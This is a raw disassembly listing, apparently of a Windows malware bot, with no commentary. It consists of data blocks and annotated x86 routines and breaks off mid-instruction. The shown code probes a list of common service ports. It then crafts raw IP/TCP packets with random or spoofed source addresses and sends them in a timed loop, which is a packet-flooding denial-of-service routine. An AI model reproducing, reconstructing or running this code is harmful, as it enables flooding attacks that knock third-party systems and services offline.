0E92E73A8h, 0FFFFFEBBh, 118415FFh, 8D50004Dh dd 0FFFF0C85h, 0E02868FFh, 0E8500043h, 7E4Ah, 0FF0C858Dh dd 0E850FFFFh, 16AEh, 0EB10C483h, 105D8B03h ; --------------------------------------------------------------------------- loc_414100: ; CODE XREF: .nsp0:00413EDCj push dword ptr [ebp-0Ch] call dword_4D1288 ; closesocket pop esi loc_41410A: ; CODE XREF: .nsp0:00413EBFj call dword_4D1148 ; WSACleanup mov eax, ebx loc_414112: ; CODE XREF: .nsp0:00413E9Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AA54 push dword ptr [esp+18h] mov esi, eax call sub_41BE29 push dword ptr [esp+20h] mov ebx, eax call sub_41BE29 mov edi, eax call sub_41BF92 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call loc_413E64 add esp, 1Ch test eax, eax jnz short loc_414161 push 1 pop eax loc_414161: ; CODE XREF: .nsp0:0041415Cj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414170 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: .nsp0:00408853o dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7C88E8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4D1230h, 5BE850h dd 8D500000h, 0FFFC6C85h, 0E04868FFh, 0E8500043h, 7D6Eh dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0E3E8FFFFh, 83FFFF57h dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h, 7124E8F0h dd 5959FFFFh, 0BDF2E856h, 5F980072h, 0EC8B555Eh, 98EC81h dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh, 0A8658304h dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh, 0FFFF7C8Dh dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h dd 0Ch, 119445C7h, 0C7000000h, 169845h, 45C70000h, 299Ch dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h dd 0BC45C7h, 89000020h, 5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h dd 4D89D045h, 0BFABD8h, 57000001h, 93B4E8h, 45895900h dd 0FF5057FCh, 4D120415h, 0FC75FF00h, 127415FFh, 408B004Dh dd 36A530Ch, 8B026Ah, 4589008Bh, 7015FFF4h, 8D004D12h dd 5156D84Dh, 6A026Ah, 0FC458950h, 11D015FFh, 0BE004Dh dd 56000002h, 78D2E8h, 0A83D8B00h, 59004270h, 0FFF84589h dd 0F04589D7h, 6808458Bh, 29Ah, 0FF6C8589h, 0C766FFFFh dd 0FFFF6885h, 0FF0002FFh, 4D11F015h, 85896600h, 0FFFFFF6Ah dd 452BD7FFh, 0B9D233F0h, 3E8h, 453BF1F7h, 0CF870F0Ch dd 0E8000000h, 7C4Ah, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h dd 18E2C100h, 5589D00Bh, 7C30E8F4h, 8B990000h, 89F9F7CBh dd 23E8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h, 0C6F9F745h dd 8904DD45h, 0BE8D455h, 6600007Ch, 0E8E04589h, 7C02h dd 59990A6Ah, 8B66F9F7h, 50B09544h, 11F015FFh, 6656004Dh dd 0FFE24589h, 4D11F015h, 45896600h, 0E45D88DEh, 7BD9E8h dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h, 8BE54588h dd 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h, 0FFFF67E3h dd 0E6458966h, 6ADC458Dh, 75FF5014h, 85BEE8F8h, 0C4830000h dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh dd 4D125415h, 0FF1AE900h, 75FFFFFFh, 7547E8F8h, 0FF590000h dd 15FFFC75h, 4D1288h, 5F58016Ah, 0C3C95B5Eh dword_41442C dd 81EC8B55h, 440ECh, 8458B00h, 6A575653h, 59F08B68h, 0FDC0BD8Dh ; DATA XREF: .nsp0:00406E36o dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0A83D8BAAh dd 0FF004270h, 11E850D7h, 5900007Bh, 0FF68h, 6A036A00h dd 7015FF02h, 83004D12h, 4589FFF8h, 0FF6675FCh, 4D118415h dd 858D5000h, 0FFFFFBC0h, 43E16468h, 8FE85000h, 8300007Ah dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5500E8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF6E3Eh, 0E8535959h, 72BB0Ch, 0CC4D8D24h dd 6A51046Ah, 89505302h, 15FFCC75h, 4D11D0h, 75FFF883h dd 8415FF66h, 50004D11h, 0FBC0858Dh, 2C68FFFFh, 500043E1h dd 7A11E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h dd 0E8FFFFFDh, 0FFFF5482h, 8D14C483h, 0FFFBC085h, 47E850FFh dd 0FF000012h, 0FFFF44B5h, 6DC0E8FFh, 5959FFFFh, 0BA8EE853h dd 8DFE0072h, 0FFFDC485h, 15FF50FFh, 4D1230h, 75FFF883h dd 0C0858D5Eh, 68FFFFFBh, 43E10Ch, 79A0E850h, 9D390000h dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5412h dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h dd 6D50E8FFh, 5959FFFFh, 0BA1EE853h, 6A410072h, 0BC458D10h dd 51E85053h, 83000076h, 0C7660CC4h, 2BC45h, 0F015FF53h dd 66004D11h, 8DBE4589h, 0FFFDC485h, 15FF50FFh, 4D1230h dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h dd 0FF45D445h, 4D11F015h, 509D3900h, 66FFFFFFh, 66D64589h dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h dd 792CE82Dh, 0F08B0000h, 0E808E6C1h, 7922h, 0E6C1F003h dd 7918E808h, 0F0030000h, 0E808E6C1h, 790Eh, 16AF003h dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF64D1E8h, 0FF5059FFh dd 4D123015h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh dd 0DBE81075h, 99000078h, 401B9h, 52F9F700h, 0B5FF06EBh dd 0FFFFFF48h, 11F015FFh, 8966004Dh, 0BBE8EA45h, 99000078h dd 401B9h, 52F9F700h, 11F015FFh, 7868004Dh, 66123456h dd 0FFE84589h, 4D11EC15h, 0EC458900h, 0FE44858Dh, 868FFFFh dd 500043E1h, 78A7E8h, 0C0855900h, 89097459h, 45C6F05Dh dd 5CEB02F5h, 0FE44858Dh, 1068FFFFh, 50004318h, 7887E8h dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h, 0FE44858Dh dd 1868FFFFh, 500042D6h, 7867E8h, 0C0855900h, 0E8257459h dd 783Eh, 5999036Ah, 5589F9F7h, 7830E8F0h, 26A0000h, 0F9F75999h dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h dd 0F015FF50h, 66004D11h, 8BF64589h, 4589E045h, 0E4458B9Ch dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h, 6A545C6h dd 11F015FFh, 8966004Dh, 458DA645h, 50206A9Ch, 0FF60858Dh dd 0E850FFFFh, 81F0h, 6AE8458Dh, 458D5014h, 0E1E85080h dd 8D000081h, 0FFFF6085h, 50346AFFh, 0FF63E6E8h, 458966FFh dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 0BDE850FFh, 8D000081h dd 146AE845h, 74858D50h, 50FFFFFFh, 81ABE8h, 8D046A00h dd 50538845h, 742FE8h, 44C48300h, 0FF60858Dh, 286AFFFFh dd 63A1E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh dd 0E850FFFFh, 8178h, 8D14C483h, 106ABC45h, 858D5350h dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4D1254h, 74FFF883h dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 128815FFh, 15FF004Dh dd 4D1184h, 0C4858D50h, 0FFFFFFFDh, 68500875h, 43E0B8h dd 0FBC0858Dh, 68FFFFh, 50000002h, 779FE8h, 18C48300h dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF5116h dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h dd 6A54E8FFh, 5959FFFFh, 0B722E853h, 0FF900072h, 15FFFC75h dd 4D1288h, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 43E068h, 7614E850h dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h dd 0FF5085E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah dd 0FF44B5FFh, 0C3E8FFFFh, 59FFFF69h, 91E85359h, 0F40072B6h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_41499C mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_41498E: ; CODE XREF: .nsp0:00414996j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_41498E pop edi cmp eax, 1 loc_41499C: ; CODE XREF: .nsp0:00414982j jnz short loc_4149A9 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4149A9: ; CODE XREF: .nsp0:loc_41499Cj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- word_4149C2 dw 8B55h ; DATA XREF: .nsp0:0040875Bo dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h dd 36E850FFh, 59000074h, 70858D50h, 50FFFFFEh, 123015FFh dd 8D50004Dh, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 9868FFFFh, 500043E1h dd 7509E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7BE8FFFFh dd 83FFFF4Fh, 858D14C4h, 0FFFFFC6Ch, 0D40E850h, 75FF0000h dd 68BCE8F0h, 5959FFFFh, 0B58AE856h, 55090072h, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 127015FFh, 4589004Dh, 50D6FFF8h dd 74DBE8h, 78BF5900h, 57000005h, 16A096Ah, 4460E8h, 50595900h dd 50D8458Dh, 7177E8h, 0CC48300h, 5A0BEh, 0A815FF00h, 2B004270h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h dd 4D49A81Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h dd 7138h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4D1194h, 0FF68h, 0E8016A00h, 43F5h, 45B60F50h, 0B60F509Eh dd 0F509D45h, 509C45B6h, 0FF34858Dh, 0C068FFFFh, 50004341h dd 73EDE8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4D438868h dd 0F1E85000h, 59000079h, 34858D59h, 50FFFFFFh, 123015FFh dd 4589004Dh, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h dd 11F015FFh, 8966004Dh, 3E8AE45h, 66000074h, 8BB04589h dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h dd 0B545C640h, 5D896606h, 0BC4589B6h, 73D9E8h, 45896600h dd 73D0E8C0h, 89660000h, 0C7E8C245h, 89000073h, 0BFE8C445h dd 89000073h, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah, 8D8C4589h dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh, 8C68BC45h dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h dd 15FF06FFh, 427208h, 5E858966h, 8DFFFFFFh, 0FFFF6085h dd 50146AFFh, 50C0458Dh, 7D47E8h, 74858D00h, 57FFFFFFh dd 0D8458D50h, 7D36E850h, 858D0000h, 0FFFFFF54h, 59868h dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h, 5088458Dh dd 0A8458D53h, 75FF5056h, 5415FFF8h, 0FF004D12h, 22E9FC45h dd 0FFFFFFFEh, 15FFF875h, 4D1288h, 5FFC458Bh, 0C3C95B5Eh dword_414CC0 dd 81EC8B55h, 414ECh, 8558B00h, 85B856h, 8B570000h, 8DF28BC8h ; DATA XREF: .nsp0:00406713o dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h dd 68FFFFFBh, 43E1CCh, 7224E850h, 0C4810000h, 220h, 0FBEC858Dh dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF65FEh, 6A5959h dd 72B2CBE8h, 8B55A800h, 54EC81ECh, 53000002h, 0FFBB56h dd 53570000h, 26A036Ah, 127015FFh, 0F883004Dh, 0F44589FFh dd 858D1A75h, 0FFFFFDACh, 43E3BC68h, 0CBE85000h, 59000071h dd 0E959FF33h, 2C6h, 6AEC4D8Dh, 0FF335104h, 5057026Ah dd 1EC45C7h, 0FF000000h, 4D11D015h, 0FFF88300h, 15FF0E75h dd 4D1184h, 0E36C6850h, 1BEB0043h, 500C458Dh, 123015FFh dd 0F883004Dh, 0FF2075FFh, 4D118415h, 28685000h, 8D0043E3h dd 0FFFDAC85h, 6FE850FFh, 83000071h, 6BE90CC4h, 57000002h dd 0DC45C766h, 15FF0002h, 4D11F0h, 0DE458966h, 500C458Dh dd 723015FFh, 358B0042h, 4270A8h, 0FFE04589h, 0F84589D6h dd 500C458Dh, 0FDAC858Dh, 0FC68FFFFh, 500043E2h, 7129E8h dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF4B9DE8h, 14C483FFh dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h dd 10C85h, 0D2E85000h, 3B00006Fh, 870F59F0h, 191h, 41CBEh dd 0BB05EB00h, 0FFh, 49A83D39h, 5075004Dh, 8958106Ah, 8D50F045h dd 5057CC45h, 6DBBE8h, 0CC48300h, 50F0458Dh, 50CC458Dh dd 0FF0875FFh, 4D119415h, 16A5300h, 407CE8h, 0B60F5000h dd 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h, 4341C068h dd 77E85000h, 83000070h, 10EB20C4h, 68AC458Dh, 4D4388h dd 767EE850h, 59590000h, 8805C656h, 45004D45h, 11F015FFh dd 0A366004Dh, 4D458Ah, 50AC458Dh, 8C05C766h, 1004D45h dd 3D896600h, 4D458Eh, 459005C6h, 0C680004Dh, 4D459105h dd 89661100h, 4D45923Dh, 3015FF00h, 0A3004D12h, 4D4594h dd 0A3E0458Bh, 4D4598h, 8C858Dh, 66500000h, 45A23D89h dd 0F2E8004Dh, 8500006Eh, 107559C0h, 7051E8h, 1B99900h dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6ED1h, 15FF5059h dd 4D11F0h, 459EA366h, 27E8004Dh, 99000070h, 401B9h, 4086800h dd 0F9F70000h, 9C158966h, 0FF004D45h, 4D11F015h, 4006800h dd 0A3660000h, 4D45A0h, 6FFDE8h, 0FBF79900h, 45A46852h dd 9DE8004Dh, 8300006Ch, 458D0CC4h, 50106ADCh, 88685657h dd 0FF004D45h, 15FFF475h, 4D1254h, 0FFFF883h, 0A484h, 0FC45FF00h dd 70A815FFh, 452B0042h, 0B9D233F8h, 3E8h, 0D88BF1F7h dd 10C858Dh, 0E8500000h, 6E41h, 0F59D83Bh, 0FFFE7686h dd 0F475FFFFh, 128815FFh, 758B004Dh, 0C858DFCh, 50000001h dd 41CF669h, 1AE80000h, 8B00006Eh, 0C1C68BC8h, 0D2330AE8h dd 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch, 0FFFFFDACh dd 43E29868h, 0FFE85000h, 8300006Eh, 0BD391CC4h, 214h dd 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h, 18C858Dh dd 0FF500000h, 73E80875h, 83FFFF49h, 5E5F14C4h, 0C95BC033h dd 0FC75FFC3h, 8415FF56h, 50004D11h, 500C458Dh, 0FDAC858Dh dd 0C68FFFFh, 500043E2h, 6EADE8h, 18C48300h db 0EBh, 0ACh word_41508E dw 8B55h ; DATA XREF: .nsp0:00407DB8o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 6D68E8h dd 8D505900h, 0FFFE7085h, 5AE850FFh, 5900006Dh, 0F0858D50h dd 50FFFFFDh, 123015FFh, 0E850004Dh, 144h, 0EC858D50h dd 68FFFFFBh, 43E3E8h, 6E40E850h, 0F6330000h, 3918C483h dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF48B5E8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF61F6h, 0E8565959h dd 72AEC4h ; --------------------------------------------------------------------------- scasb pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41513F proc near ; CODE XREF: .nsp0:004153BCp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_415168 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42720C ; connect jmp loc_415224 ; --------------------------------------------------------------------------- loc_415168: ; CODE XREF: sub_41513F+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call dword_4271F4 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4D1198 ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4D11D8 ; select test eax, eax jnz short loc_4151CC or eax, 0FFFFFFFFh jmp short loc_415224 ; --------------------------------------------------------------------------- loc_4151CC: ; CODE XREF: sub_41513F+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_4151D7 loc_4151D3: ; CODE XREF: sub_41513F+B8j ; sub_41513F+DCj mov eax, edi jmp short loc_415224 ; --------------------------------------------------------------------------- loc_4151D7: ; CODE XREF: sub_41513F+92j lea eax, [ebp+var_10C] push eax push esi call sub_4265E8 ; __WSAFDIsSet test eax, eax jnz short loc_4151F9 lea eax, [ebp+var_210] push eax push esi call sub_4265E8 ; __WSAFDIsSet test eax, eax jz short loc_4151D3 loc_4151F9: ; CODE XREF: sub_41513F+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4271E0 ; getsockopt cmp eax, edi jz short loc_4151D3 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_415224: ; CODE XREF: sub_41513F+24j ; sub_41513F+8Bj ... pop edi pop esi leave retn sub_41513F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop eax xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 push 2 mov [ebp-14h], eax call dword_427204 ; WSASocketA lea ecx, [ebp-14h] push 4 push ecx push 2 push ebx push eax mov dword_4D4A18, eax call dword_4D11D0 ; setsockopt mov esi, dword_4270A8 call esi ; dword_4270A8 push eax call sub_41BF88 pop ecx xor eax, eax push 19h lea edi, [ebp-100h] pop ecx mov [ebp-10Ch], ebx mov [ebp-7Ch], ecx mov [ebp-108h], ebx mov [ebp-104h], ebx mov dword ptr [ebp-8Ch], 401h mov dword ptr [ebp-88h], 15h mov dword ptr [ebp-84h], 16h mov dword ptr [ebp-80h], 17h mov dword ptr [ebp-78h], 35h mov dword ptr [ebp-74h], 50h mov dword ptr [ebp-70h], 51h mov dword ptr [ebp-6Ch], 58h mov dword ptr [ebp-68h], 6Eh mov dword ptr [ebp-64h], 71h mov dword ptr [ebp-60h], 77h mov dword ptr [ebp-5Ch], 87h mov dword ptr [ebp-58h], 89h mov dword ptr [ebp-54h], 8Bh mov dword ptr [ebp-50h], 8Fh mov dword ptr [ebp-4Ch], 1BBh mov dword ptr [ebp-48h], 1BDh mov dword ptr [ebp-44h], 400h mov dword ptr [ebp-40h], 599h mov dword ptr [ebp-3Ch], 5DCh mov dword ptr [ebp-38h], 6B8h mov dword ptr [ebp-34h], 0CEAh mov dword ptr [ebp-30h], 0D3Dh mov dword ptr [ebp-2Ch], 1388h mov dword ptr [ebp-28h], 1A0Bh mov dword ptr [ebp-24h], 1F40h mov dword ptr [ebp-20h], 1F90h rep stosd mov [ebp-10h], ebx mov dword ptr [ebp-1Ch], 3 mov dword ptr [ebp-18h], 0BB8h mov [ebp-4], ebx loc_41536E: ; CODE XREF: .nsp0:004153E9j mov eax, [ebp+8] mov word ptr [ebp-9Ch], 2 mov [ebp-98h], eax mov eax, [ebp-4] lea edi, [ebp+eax-8Ch] mov ax, [ebp+eax-8Ch] push eax call dword_4D11F0 ; ntohs push ebx push 1 push 2 mov [ebp-9Ah], ax call dword_4D1270 ; socket lea ecx, [ebp-1Ch] mov [ebp-0Ch], eax push ecx lea ecx, [ebp-9Ch] push 10h push ecx push eax call sub_41513F add esp, 10h mov [ebp-8], eax push dword ptr [ebp-0Ch] call dword_4D1288 ; closesocket cmp [ebp-8], ebx jnz short loc_4153E1 mov ecx, [ebp-4] mov eax, [edi] mov [ebp+ecx-10Ch], eax loc_4153E1: ; CODE XREF: .nsp0:004153D3j add dword ptr [ebp-4], 4 cmp dword ptr [ebp-4], 70h jl short loc_41536E mov edi, offset dword_4D4A1C push offset asc_43368C ; " " push edi call sub_41BF36 pop ecx pop ecx call esi ; dword_4270A8 mov [ebp-0Ch], eax lea eax, [ebp-10Ch] mov [ebp-4], ebx mov [ebp-8], eax loc_41540E: ; CODE XREF: .nsp0:00415464j call esi ; dword_4270A8 sub eax, [ebp-0Ch] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+0Ch] ja short loc_415466 mov eax, [ebp-8] mov eax, [eax] cmp eax, ebx jz short loc_41543F push eax push edi push offset aSD ; "%s%d " push edi mov [ebp-10h], eax call sub_41BF36 add esp, 10h jmp short loc_415459 ; --------------------------------------------------------------------------- loc_41543F: ; CODE XREF: .nsp0:00415428j push 0FFFFh push ebx call sub_418F1D pop ecx pop ecx push eax call dword_4D11F0 ; ntohs movzx eax, ax mov [ebp-10h], eax loc_415459: ; CODE XREF: .nsp0:0041543Dj inc dword ptr [ebp-4] add dword ptr [ebp-8], 4 cmp dword ptr [ebp-4], 1Ch jl short loc_41540E loc_415466: ; CODE XREF: .nsp0:0041541Fj ; .nsp0:0041569Fj push 28h push ebx push offset byte_4D49B8 call sub_41BC40 mov esi, 0FFFFh mov byte_4D49B8, 45h push esi push 400h mov byte_4D49C1, 6 mov byte_4D49B9, 8 call sub_418F1D add esp, 14h push eax call dword_4D11F0 ; ntohs push 28h mov word_4D49BC, ax call dword_4D11F0 ; ntohs or byte_4D49C0, 0FFh cmp dword_4D49A8, ebx mov word_4D49BA, ax mov word_4D49BE, bx jnz short loc_4154E6 push 0FFFEh push 1 call sub_418F1D pop ecx pop ecx mov ecx, [ebp+8] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_4154F1 ; --------------------------------------------------------------------------- loc_4154E6: ; CODE XREF: .nsp0:004154CAj push offset dword_4D4388 call dword_4D1230 ; inet_addr loc_4154F1: ; CODE XREF: .nsp0:004154E4j mov dword_4D49C4, eax mov eax, [ebp+8] push 4000h mov dword_4D49C8, eax mov byte_4D49D9, bl call dword_4D11F0 ; ntohs push esi push ebx mov word_4D49DA, ax call sub_418F1D mov edi, eax push esi push ebx shl edi, 8 call sub_418F1D add esp, 10h add edi, eax push edi call dword_4D11EC ; ntohl mov dword_4D49D0, eax mov al, byte_4D49D8 mov edi, [ebp+8] and al, 0Fh or al, 50h push 14h mov byte_4D49D8, al mov ax, [ebp-10h] mov dword_4D49D4, ebx mov word_4D49DE, bx mov word_4D49CE, ax mov dword_4D49F4, edi mov byte_4D49F8, bl mov byte_4D49F9, 6 call dword_4D11F0 ; ntohs mov word_4D49FA, ax mov ax, word_4D49CE mov word_4D49E0, 2 mov dword_4D49E4, edi mov word_4D49E2, ax mov [ebp-4], ebx jmp short loc_4155A7 ; --------------------------------------------------------------------------- loc_4155A2: ; CODE XREF: .nsp0:00415679j mov esi, 0FFFFh loc_4155A7: ; CODE XREF: .nsp0:004155A0j cmp [ebp-4], ebx jnz short loc_4155DB push esi push ebx call sub_418F1D pop ecx pop ecx push eax call dword_4D11F0 ; ntohs mov word_4D49CC, ax mov eax, dword_4D49C4 mov dword_4D49F0, eax mov byte_4D49D9, 2 mov dword_4D49D4, ebx jmp short loc_4155FA ; --------------------------------------------------------------------------- loc_4155DB: ; CODE XREF: .nsp0:004155AAj push esi push ebx mov byte_4D49D9, 10h call sub_418F1D pop ecx pop ecx push eax call dword_4D11F0 ; ntohs movzx eax, ax mov dword_4D49D4, eax loc_4155FA: ; CODE XREF: .nsp0:004155D9j inc word_4D49BC inc dword_4D49D0 mov ax, word_4D49CE push 5 pop ecx mov esi, offset word_4D49CC mov edi, offset dword_4D49FC mov word_4D49C2, bx mov word_4D49DC, bx push 14h rep movsd mov esi, offset byte_4D49B8 mov word_4D49E2, ax push esi call sub_40ABC3 push 20h push offset dword_4D49F0 mov word_4D49C2, ax call sub_40ABC3 add esp, 10h mov word_4D49DC, ax push 10h push offset word_4D49E0 push ebx push 28h push esi push dword_4D4A18 call dword_4D1254 ; sendto inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 3FFh jl loc_4155A2 call dword_4270A8 ; GetTickCount sub eax, [ebp-0Ch] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+0Ch] ja short loc_4156A4 push dword ptr [ebp+10h] call dword_427064 ; Sleep jmp loc_415466 ; --------------------------------------------------------------------------- loc_4156A4: ; CODE XREF: .nsp0:00415694j pop edi pop esi mov eax, offset dword_4D4A1C pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4156AE proc near ; CODE XREF: .nsp0:00408C11p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_4433A0 mov edi, 0B8h loc_4156C2: ; CODE XREF: sub_4156AE+33j cmp byte ptr [esi], 0 jz short loc_4156E5 push [ebp+arg_0] push esi call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_4156E5 inc [ebp+var_4] add esi, edi cmp esi, offset dword_443F20 jl short loc_4156C2 jmp short loc_415727 ; --------------------------------------------------------------------------- loc_4156E5: ; CODE XREF: sub_4156AE+17j ; sub_4156AE+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_4433A0[esi] push ebx call 